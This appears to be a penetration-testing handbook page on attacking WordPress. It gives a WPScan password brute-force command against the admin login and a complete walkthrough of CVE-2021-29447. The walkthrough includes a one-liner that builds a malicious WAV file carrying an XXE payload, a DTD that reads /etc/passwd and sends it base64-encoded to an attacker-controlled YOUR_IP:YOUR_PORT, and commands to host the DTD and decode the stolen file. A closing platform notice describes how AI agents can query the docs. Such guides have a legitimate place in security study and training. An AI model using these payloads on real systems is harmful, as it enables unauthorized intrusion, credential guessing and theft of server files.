> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/all-the-other-layers-recon/web-recon/cms/wordpress.md).

# Wordpress

## Enumeration

[**WPScan**](https://github.com/wpscanteam/wpscan) is the go-to tool for scanning a Wordpress application.\
It is also relatively important to grab an API key for it also and configure your wpscan installation to use it.

#### Wp-Login Brute Force

```php
wpscan --url victim.ip -U admin --passwords passlist
```

## CVE-2021-29447 / Authenticated XXE & SSRF

If you have media upload rights and if your Wpscan return this vulnerability. You are in for a treat.\
It is possible to upload a [malicious WAV](/post-exploitation/data-exfiltration/steganography.md#audio-spectrograph-analysis)

![WPScan snippet of scan](/files/-MkJ2ut7Ula-KwZs-ST_)

Using **echo** and its parameters to escape backslashes and no trail lines, use this one liner to create a malicious **WAV** file.

```bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:YOUR_PORT/malicious.dtd'"'"'>%remote;%init;%trick;]>\x00' > malicious.wav
```

On your box, create the malicious.dtd file and prepare yourself to upload this file to the server.\
The content of the malicious file should be like this: replace&#x20;

```markup
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> 
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOUR_IP:YOUR_PORT/malicious.dtd?p=%file;'>" >
```

1. Use PHP to host malicious.dtd
2. Upload malicious.wav

```php
php -S YOUR_IP:YOUR_PORT
```

As soon as you upload the malicious.wav, your php web server should request a GET request with *p* as the parameter. Said parameter should hold the requested server file, encoded as zlib(base64).

![Base64 dump of the /etc/passwd on Wordpress server](/files/-MkJE4SlSn2jPiUmwZH5)

And then you can use php to decode it.

```php
<?php echo zlib_decode(base64_decode('b64-to-decode')); ?>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.turbosec.net/all-the-other-layers-recon/web-recon/cms/wordpress.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
